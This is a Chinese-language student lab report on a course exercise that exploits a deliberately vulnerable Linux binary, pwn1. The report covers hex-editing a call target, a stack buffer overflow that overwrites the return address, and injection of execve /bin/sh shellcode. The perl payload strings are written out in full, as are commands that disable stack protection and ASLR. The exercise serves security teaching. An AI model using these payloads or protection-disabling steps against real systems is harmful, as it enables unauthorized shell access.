2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp1 PC平台逆向破解

一、实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell
  • 正常情况下这个代码是不会被运行的。想办法运行这个代码片段
  • 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

二、实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
  • 注入一个自己制作的shellcode并运行这段shellcode

三、实验准备

1.预备知识

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP:机器码0x90(NOP指令即"no operation"空操作)
  • JNE:机器码0x75(条件转移指令---"not equal",如果不相等则跳转。)
  • JE:机器码0x74(条件转移指令--"equal",如果相等则跳转。)
  • JMP:无条件跳转

    • 机器码0xEB,Jmp short---段内直接短转
    • 机器码0xE9,Jmp near---段内直接近转移
    • 机器码0xFF,Jmp word---段内间接转移
    • 机器码0xEA,Jmp far---段间直接(远)转移
  • CMP:机器码0x38~3D(比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。)

  1. 掌握反汇编与十六进制编程器
  • 反汇编指令:

    • objdump -d <file(s)>: 将代码段反汇编;
    • objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
    • objdump -l <file(s)>: 反汇编代码中插入文件名和行号
  • 十六进制编程器:

    • vim 以ASCII码形式显示可执行文件的内容
    • :%!xxd 切换显示模式(16进制模式、ASCII码模式)
  1. gdb调试的常用命令
  • break(b):设置断点
  • run(r):运行程序
  • clear:清除断点
  • info:显示断点信息
  • attach:继续执行程序

2.文件准备

  • 下载实验文件pwn1,将其通过共享文件夹传入虚拟机,即kali中,可以直接通过图形界面,将其转到/home中自己创建的文件夹下,或者通过终端输入命令,cp过来也行
  • 根据实验要求,将文件重命名
  • 把文件进行备份

3.环境准备

  1. 实验中需要进行 gdb 调试,所以如果没有安装 gdb,则会提示没有 gdb 这个命令,需要安装gdb,在root下依次输入 apt-get update 、apt-get install gdb ,然后进行确定输入y,即可

  2. 实验还需要用到 execstack,没有安装就需要下载,我是用 apt-get install prelink 下载的(在root下),apt-get install execstack,我看见其他人这样下载安装的也可以

四、实验步骤

任务一:手工修改可执行文件,改变程序执行流程

  • 在文件所在文件夹下,输入指令objdump -d 20175218pwn1 | more 对 20175218pwn1 文件进行反汇编
  • 对反汇编的结果进行分析

    • 起始位置:

      • 主函数为:0x080484af
      • foo函数为0x08048491
      • getshell代码段为:0x0804847d
    • 主函数中调用函数的指令call 8048491 后的地址为:0x080484ba,可见此地址与foo函数的起始地址差0x080484ba - 0x08048491 = 0xffffffd7与该指令对应机器码e8 d7 ff ff ff对应

    • 因此,要让程序执行到getShell只需更改call指令的机器码为相应地址的差,地址差为0x080484ba - 0x0804847d = 0xffffffc3

  • 修改机器指令

  • 输入指令 vi 20175218pwn1 打开文件

  • 输入指令 :%!xxd 将文件转换为16进制查看
  • 按回车往下找,找到 d7ffffff 位置
  • 输入 i 进入插入模式,将 d7 修改为 c3 ,然后输入指令 :%!xxd -r 将文件转化为ASCII码形式,最后再 wq 保存并退出
  • 输入指令 objdump -d 20175218pwn1 | more 再次进行反编译,此时可见 20175218pwn1 文件被修改了
  • 运行之前备份的 20175218pwn1.bak 文件和 20175218pwn1 文件看两者的运行模式

任务二:利用foo函数的Bof漏洞,覆盖返回地址,触发getShell函数

  • 先将 20175218pwn1 文件通过备用文件还原,输入指令 cp 20175218pwn1.bak 20175218pwn1

  • 通过反汇编指令观察foo函数为其输入留了多少空间

  • 通过图示可以计算实现缓冲区溢出的字符数为28+4=32 个字节,因此需要将getShell函数的地址放在返回地址即需要33~36字节

  • 接下来,需要确定输入什么样的字符能进行攻击,先输入指令 gdb 20175218pwn1 进行gdb调试

  • 在输入时特意输入36字节长度的字符(猜想),同时用 info r 指令查看寄存器的状态。在得到Segmentation fault后,通过对比 eip 寄存器和输入的字符就可以知道我们需要在何处对输入字符替换(验证)
  • 输入从老师视频中给出的指令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input ,同时可以通过xxd来验证字符串

通过管道符 | ,输入命令(cat input; cat ) | ./20175218pwn1 将构造的输入注入并运行,查看结果

任务三:注入一个shellcode并运行

  • 先将 20175218pwn1 文件通过备用文件还原,输入指令 cp 20175218pwn1.bak 20175218pwn1

  • linux下有两种构造方法,一种针对缓冲区小的情况,一种针对缓冲区大的情况,具体构造方法都可以从老师提供的视频中了解到。这里我们采用的是针对缓冲区小的情况。对文件 20175218pwn1 进行以下操作:
  • 设置设置堆栈可执行

    • execstack -s 20175218pwn1 设置堆栈可执行
    • execstack -q 20175218pwn1 查询文件的堆栈是否可执行,结果为X表示可执行
  • 关闭地址随机化(在root下进行操作)

    • more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭
    • echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
    • more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭
  • 参考老师给出的代码,需要先构造一个input_shellcode,并且在此终端(终端1)通过指令 (cat input_shellcode;cat) | ./20175218pwn1 运行20175218pwn1
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 另开一个终端(终端2),在文件所在文件夹下输入指令 ps -ef | grep 20175218pwn1 查看 20175218pwn1 的进程号
  • 在终端2输入指令 gdb 启用gdb调试,输入指令 attach + 20175218pwn1 的进程号来定位 20175218pwn1 的进程。输入 disassemble foo 进行反编译,可以看到 ret 指令的地址为 0x080484ae,在此处设置断点, 输入 break *0x080484ae。然后在终端1中按下回车运行,程序执行到断点停止,再在b终端输入c继续运行程序
  • 在终端2输入指令 info r esp 查看 esp 寄存器地址。输入 x/16x + esp 寄存器地址以16进制形式查看 esp 寄存器地址即 0xffffd32c 地址后面16字节的内容。可以观察到 0x01020304 的地址为0xffffd32c,因此 shellcode 注入位置地址为 0xffffd32c+0x00000004=0xffffd330
  • 输入修改注入代码的地址
perl -e 'print "A" x 32;print"\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 输入指令(cat input_shellcode;cat) | ./20175218pwn1 运行发现 shellcode 注入成功

五、实践思考

问题一:什么是漏洞?

答:百度百科说的是漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。但在我的想法中,漏洞就是设备中存在的缺陷,攻击者可以利用它来破坏存在漏洞的设备,从而达到自己的目的。一般对于我最容易想到的就是电脑,有时候如果你安装了杀毒软件,存在漏洞就会提醒你打补丁。

问题二:漏洞有什么危害?

答:在我看来,以电脑为例来说,电脑存在漏洞,如果攻击者对你的电脑不感兴趣,就是不攻击你的电脑的话,其实也没什么危害。但是如果被攻击者攻击的话,他们可以利用你电脑的漏洞,很容易就能攻击到你的电脑,包括利用你的电脑发起dos攻击,或者破坏你的电脑系统,或者窃取你的信息等等一系列危害。

六、实验收获与感想

这次实验,总的来说不是很困难,但是我花的时间还是比较长的。首先,因为之前用过Linux系统,对这方面的知识比较熟悉,但是还是去学习了一遍Linux的知识。然后,这次实验先是看了老师的视频,然后自己尝试去做,中途也碰到一些问题,包括指令错误,指令输错等等,但是基本碰到的都是小问题,做得还是比较顺利,因为害怕中途做错,所以每一步做得比较小心,这样加起来,这个实验总共花的时间算是比较长了。然后就是对于这个实验,主要就是一些指令和寄存器、缓冲区、堆栈方面的知识,通过这个实验,也让我对于缓冲区和堆栈这方面的知识更加了解,也知道了一些汇编指令的机器码,熟悉了一些Linux下的指令,总的来说,收获还是挺多的。

七、参考资料

02-14 03:18